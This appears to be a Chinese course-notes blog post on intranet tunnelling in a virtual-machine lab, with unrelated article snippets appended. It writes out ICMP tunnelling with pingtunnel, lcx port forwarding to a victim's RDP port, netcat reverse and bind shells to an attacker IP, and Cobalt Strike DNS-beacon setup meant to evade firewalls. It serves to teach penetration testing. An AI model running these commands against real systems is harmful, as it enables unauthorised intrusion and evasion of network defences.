p71 内网安全-域横向网络传输应用层隧道技术

news/2024/12/5 8:24:26/

数据来源

必备知识点:

1、代理和隧道技术区别?

        代理:只是解决网络的访问问题(如:有些内网访问不到,可以用代理实现

        隧道:隧道不仅是解决网络的通信问题,更大的作用是绕过过滤,突破防火墙/入侵检测系统(是一种绕过端口屏蔽的通信方式

2、隧道技术为了解决什么?

        防火墙过滤问题、网络连接通信问题、数据回链封装问题(在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截

        比如:CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等问题,都可以通过隧道技术解决。

3、隧道技术前期的必备条件?

        隧道有各种层面的,每个层面又分不同协议,你想要用哪个隧道,就需要先确定目标主机是否支持对应隧道协议

        比如:你想用一个网络层的 ICMP 隧道,这个时候你要去检测目标主机支不支持ICMP隧道的开启。怎么检测呢?可以使用ping命令去ping地址,看能不能正常通信,如果能的话就可以。

隧道原理:

        在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况, 如果发现异样,就会对通信进行阻断

        那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。

        防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙, 与对方进行通信当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上

常用的隧道技术有以下三种:(OSI与TCP/IP 5层协议_正经人_____的博客)

  • 网络层:IPv6 隧道、ICMP 隧道
  • 传输层:TCP 隧道、UDP 隧道、常规端口转发
  • 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

演示案例

  • 网络传输应用层检测连通性-检测
  • 网络层 ICMP 隧道 Ptunnel 使用-检测,利用
  • 传输层转发隧道 Portmap 使用-检测,利用
  • 传输层转发隧道 Netcat 使用-检测,利用,功能
  • 应用层 DNS 隧道配合 CS 上线-检测,利用,说明

环境准备:

        1台klai(攻击机),一台普通的虚拟机(我这里是win2003) 

案例 1 - 网络传输应用层检测连通性-检测

注意:下面的检测首先可以检测你的靶机开启了哪些端口:netstat -an 

1. TCP协议

TCP端口介绍:TCP端口_百度百科 (baidu.com)

用 “ 瑞士军刀 ” —— netcat  (kali自带),如果要安装到windows:在windows下载安装netcat(nc)命令_netcat下载_正经人_____的博客-CSDN博客

执行命令(你的靶机要开启TCP端口才能检测成功,不然就会报连接超时之类的错误)

# -vz检测TCP端口、192.168.1.45 靶机ip、我这里是检测21端口
nc -vz 192.168.1.45 21

开启20/21端口(FTP):FTP服务器_slyar ftpserver_正经人_____的博客

开启23端口(telnet):服务器远程管理(telnet )_telnet远程管理_正经人_____的博客

开启53端口(DNS):DNS部署与安全__dnsauth主机记录 是否安全_正经人_____的博客 

开启80端口(http):IIS之WEB服务器_iis的web默认端口_正经人_____的博客-CSDN博客

DNS部署与安全__dnsauth主机记录 是否安全_正经人_____的博客

 UDP端口介绍:udp端口号有哪些-常见问题-PHP中文网

2. HTTP协议

用“curl”工具,执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的 话,就会输出相应的端口信息

3. ICMP协议

用“ping”命令,执行 ping <IP 地址/域名>

ping 192.168.1.45 -c4   # -c4 发送4个包,不设置就是一直发送,如果是windows系统默认就是发送4个数据探测包

4. DNS协议

检测 DNS 连通性常用的命令是“nslookup”和“dig”

nslookup 是 windows 自带的 DNS 探测命令

dig 是 linux 系统自带的 DNS 探测命令

dig 192.168.1.45

案例 2 - 网络层 ICMP 隧道 ptunnel 使用-检测,利用

kali2020-Target2-Target3

pingtunnel 工具介绍:

下载:

  • 老版本介绍:https://github.com/f1vefour/ptunnel (需自行编译)
  • 新版本介绍:GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP (二次开发版,推荐用这个,老版已经不更新)

作用:pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

-p 表示连接 icmp 隧道另一端的机器 IP(即目标服务器)

-lp 表示需要监听的本地 tcp 端口

-da 指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)

-dp 指定需要转发的机器的端口(即目标内网某一机器的内网端口)

-x 设置连接的密码

实验前提:成拿下目标内网的一台虚拟机(我这里是本地环境搭建的),并且该虚拟机可以访问我们的受害者主机,并且我们已经知道受害者主机的账号密码。

环境搭建:

用到的虚拟机:一台kali(攻击机),一台linux虚拟机(跳板机),一台win7虚拟机(目标/靶机)

虚拟机开那台都不受影响,你随便开3台虚拟机都可以,就是下载 pingtunnel 工具的时候就下载与你虚拟机相对应的版本就行。

虚拟机网络配置

kalilinuxlinux
VM8VM8VM1
VM1

这样配置的结果:跳板机与我们的攻击机kali是可以互相通信,但是kali无法跟受害者主机通信,而跳板机可以与受害者主机通信 

隧道工具准备:

pingtunnel工具下载:Releases · esrrhs/pingtunnel (github.com)

注意:这个的服务端与客户端都是同一个文件,只是通过命令来分别启动服务端与客户端 

开启pingtunnel的服务端: 

我这里使用蚁剑连接linux虚拟机(跳板机),然后将刚才下载的工具上传上去,并执行命令把这台虚拟机当做服务器:

#                   服务端      连接密码(可改)
./pingtunnel -type server -key 1234# -type     服务器或者客户端 client or server
# -key      设置的密码,默认0

这里我使用蚁剑执行命令出现问题报错了, 找了很久找不到解决方案,最后我换成xshell连接成功了

pingtunnel客户端:在kali开启客户端连接我们的服务端口(都是用同一个文件)

  

# client(客户端) :4455(本地开启监听的端口可改)192.168.1.77(服务端ip地址)  192.168.22.133:3389(目标ip与端口) 1234(连接密码)./pingtunnel -type client -l :4455 -s 192.168.1.77 -t 192.168.22.133:3389 -tcp 1 -key 1234# 监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 192.168.22.133 服务器的 3389 端口# -s        服务器的地址,流量将通过隧道转发到这个服务器
# -l        本地的地址,发到这个端口的流量将转发到服务器
# -tcp      设置是否转发tcp,默认0
# -t        远端服务器转发的目的地址,流量将转发到这个地址

最后就可以在kali中访问自己的4455端口从而访问192.168.22.133的3389

rdesktop 127.0.0.1:4455

这个Pingtunnel工具的使用参考了:【Pingtunnel工具教程】利用ICMP隧道技术进行ICMP封装穿透防火墙_归去来兮-zangcc的博客

视频中的老师使用的工具是老版的工具,操作太麻烦了而且那个工具作者也不更新了,所以就自己搞了一个。

工具的可选参数(直接输入:./pingtunnel  # 就会打印出工具的使用参数)

服务器参数server param:

服务器参数server param:-key      设置的密码,默认0-nolog    不写日志文件,只打印标准输出,默认0-noprint  不打印屏幕输出,默认0-loglevel 日志文件等级,默认info-maxconn  最大连接数,默认0,不受限制-maxprt   server最大处理线程数,默认100-maxprb   server最大处理线程buffer数,默认1000-conntt   server发起连接到目标地址的超时时间,默认1000ms

客户端参数client param: 

客户端参数client param:-l        本地的地址,发到这个端口的流量将转发到服务器-s        服务器的地址,流量将通过隧道转发到这个服务器-t        远端服务器转发的目的地址,流量将转发到这个地址-timeout  本地记录连接超时的时间,单位是秒,默认60s-key      设置的密码,默认0-tcp      设置是否转发tcp,默认0-tcp_bs   tcp的发送接收缓冲区大小,默认1MB-tcp_mw   tcp的最大窗口,默认20000-tcp_rst  tcp的超时发送时间,默认400ms-tcp_gz   当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0-tcp_stat 打印tcp的监控,默认0-nolog    不写日志文件,只打印标准输出,默认0-noprint  不打印屏幕输出,默认0-loglevel 日志文件等级,默认info-sock5    开启sock5转发,默认0-profile  在指定端口开启性能检测,默认0不开启-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb

案例 3 - 传输层转发隧道 Portmap 使用-检测,利用

windows: lcx 

下载:GitHub - UndefinedIdentifier/LCX: 自修改免杀lcx端口转发工具

环境准备:

  • 因为下载的工具是.exe文件,所以这里准备的跳板机与受害者主机都是win,另加一台攻击机kali
  • 跳板机与我们的攻击机kali是可以互相通信,但是kali无法跟受害者主机通信,而跳板机可以与受害者主机通信。

跳板机中执行

# 将受害者 3389端口 给本地的 3131端口(跳板机)
lcx.exe -slave 127.0.0.1 3131 192.168.22.133 3389# 192.168.22.133 受害者的主机# 监听本地的3131转发到3333上
lcx.exe -listen 3131 3333

kali攻击机中连接受害者的3389端口

rdesktop 192.168.1.74:3333

linux:portmap

github地址:GitHub - kaklakariada/portmapper: A tool for managing port forwardings via UPnP

下载地址:https://github.com/kaklakariada/portmapper/releases/download/v2.2.3/portmapper-2.2.3.jar

这里就演示了,需要的自己下载参考官网的使用方法来就行了,操作都差不多

总结:

        这个代理技术大概的过程就是,我们已经控制了内网中的一台主机当跳板机,然后在使用lcx工具将受害者主机的的3389端口给到已经被我们控制的跳板机,然后再通过我们的kali攻击机访问跳板机监听的端口就能实现访问受害者主机(不然我们直接连接受害者主机是做不到的)

        总的来说这种代理方式使用起来还是挺方便的

案例 4 - 传输层转发隧道 Netcat 使用-检测,利用,功能

Kali2020-god\webserver-god\sqlserver|dc

win下载nc:在windows下载安装netcat(nc)命令_netcat下载_正经人_____的博客-CSDN博客

如果只是在nc的根目录下运行,可以不需要配置环境变量 

1. 双向连接反弹 shell

环境准备:一台kali(攻击机),一台win(靶机),注意:kali自带nc,win要自己安装nc

正向:攻击连接受害

受害者主机运行

# 受害
nc -ldp 1234 -e /bin/sh
nc -ldp 1234 -e c:\windows\system32\cmd.exe  # nc把cmd会话反弹给1234端口 

kali中运行  

# 攻击主动连接 (攻击机主动连接受害者的1234端口获取cmd)   192.168.1.81受害者ip
nc 192.168.1.81 1234

反向:受害连接攻击

kali中运行

# 攻击
nc -lvp 1234     # 监听1234端口

受害者主机运行 

# 受害主动连接
nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe   # nc把cmd会话反弹给攻击机的1234端口

查看kali的监听情况 

2. 多向连接反弹 shell - 配合转发(这个案例比较鸡肋)

反向:

环境准备:一台kali攻击机,一台win跳板机,一受害者主机

        跳板机与我们的攻击机kali是可以互相通信,但是kali无法跟受害者主机通信,而跳板机可以与受害者主机通信,网络配置就用之前的就行了(跳板机和kali有一个相通的网段 - 跳板机和受害者主机有相通的网段)

虚拟机网络配置 

kali跳板机受害者
VM8VM8VM1
VM1

跳板机运行

# 监听本地的 2222 转发到3333上
god\Webserver:Lcx.exe -listen 2222 3333

受害者主机运行

nc 192.168.22.141 2222 -e c:\windows\system32\cmd.exe  # nc把cmd会话反弹给跳板机的 2222 端口

kali中运行

nc -v 192.168.1.81 3333

这里有乱码,解决: chcp 65001    # 修改编码

流程解释:跳板机将2222端口的信息都转发到3333端口上并开启了监听,受害者生成一个cmd窗口给跳板机的2222端口,然后被转发到3333端口上了,最后kali监听跳板机的3333端口,即获取了受害者的cmd会话。

正向该怎么操作呢?实战中改怎么选择正向和反向?

3. 相关 netcat 主要功能测试

指纹服务:nc -nv 192.168.22.143     (我这里扫不出来)

端口扫描:nc -v -z 192.168.22.143 1-100

端口监听:nc -lvp xxxx

文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1

反弹 Shell:见上

案例 5 - 应用层 DNS 隧道配合 CS 上线-检测,利用,说明

应用层:SSH、HTTP/S隧道、DNS隧道

当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀

1. 云主机 Teamserver 配置端口 53 启用-udp

2. 买一个域名修改解析记录如下:

A 记录->cs 主机名->CS 服务器 IP

NS 记录->ns1 主机名->上个 A 记录地址

NS 记录->ns2 主机名->上个 A 记录地址

3. 配置 DNS 监听器内容如下:

ns1.xiaodi8.com

ns2.xiaodi8.com

cs.xiaodi8.com

4. 生成后门执行上线后启用命令:

beacon> checkin

[*] Tasked beacon to checkin

beacon> mode dns-txt

beacon> shell whoami

如果你们要下载CS:cobaltstrike的安装与基础使用_cobalt strike windows运行_正经人_____的博客-CSDN博客

可以参考这位老哥的搭建,我没买DNS服务器就不搞了:应用层DNS隧道配合CS上线_51CTO博客_dns 应用层

域名的字符越多就越便宜,便宜的都要18,够我吃顿外卖,等以后实战要用到再搞,操作挺简单的 

涉及资源

GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP


http://www.ppmy.cn/news/639753.html

相关文章

C++基础入门---8.结构体【P64~P71】

C基础入门---8.结构体【P64~P71】 8. 结构体8.1 结构体的定义和使用8.2 结构体数组8.3 结构体指针8.4 结构体嵌套结构体8.5 结构体作函数参数8.6 结构体中const使用场景8.7 结构体案例18.8 结构体案例2 8. 结构体 结构体属于用户自定义的数据类型&#xff0c;允许用户存储不同…

面试宝典P71 例题9详解

本人在看这章的该习题时&#xff0c;也曾被搞糊涂过&#xff0c;其实刚开始还是不要看它的解释更好&#xff0c;多加一些打印语句&#xff0c;自然就知道各个变量的地址和对应的值了。 原题如下&#xff1a; struct S { int i; int* p; }; S s; int* p &s.i; p[0] 4; p…

JS笔记_P71数组字面量

P71数组字面量 创建一个数组使用字面量来创建数组使用构造函数创建数组数组中的元素可以是任意的数据类型1、可以是对象2、可以是一个函数3、数组中也可以放数组&#xff0c;称为二维数组 文章声明&#xff1a; 学习地址1&#xff1a;谷粒学院学习地址2&#xff1a;BILIBILI尚硅…

18.4.1 考试解题报告 P71

题目&#xff1a;https://files.cnblogs.com/files/lovewhy/problem.pdf 偷偷摘来dalao题面。 P71竞赛时间&#xff1a;???? 年?? 月?? 日??:??-??:?? 题目名称智乃 麻耶惠 名称 kahuucino zyougamayanacumegu 输入 kahuucino.in zyougamaya.innacumegu.in …

P71-前端基础项目开发-网页导航栏开发首页header头部左侧导航栏

P71-前端基础项目开发-网页导航栏开发首页header头部左侧导航栏 1.概述 在首页header部分现在还有一个左侧的导航栏没有开发&#xff0c;下面就来完成这个导航栏。 2.首页header头部左侧导航栏 2.1.左侧导航栏需求 2.2.创建左侧导航栏结构 左侧的导航栏实际上是全部商品分类的…

SpringBoot笔记【P8-P71】

P8 核心配置文件 1. application.properties 2. 启动后控制台显示 3. 访问网址 P9 核心配置文件yml P10 核心配置文件同时存在 以application.properties为准 P13 多环境下配置文件properties P14 多环境下配置文件yml P15 获取自定义配置 P16 将自定义配置映射到对象 P18 a…

P71:子类继承了什么

** P71&#xff08;子类继承了什么&#xff09;&#xff1a; ** 本节视频 父类中是 private 的成员变量在子类中不可用 解决这个问题两个方案&#xff1a; 将 private 改为 protected &#xff0c;protected 代表同一个包内的其他类可以访问、子类可以访问先在父类做一个构造…

P71-枚举与选择排序

print() """ 注&#xff1a; 老师有口误&#xff0c;课内讲的是冒泡排序 但是是选择排序 标题没有错str() int() len() list() sorted() print() input() enumerate() : 函数用于讲一个可遍历的数据对象(如列表、元祖或字符串)组合为一个索引序列""&q…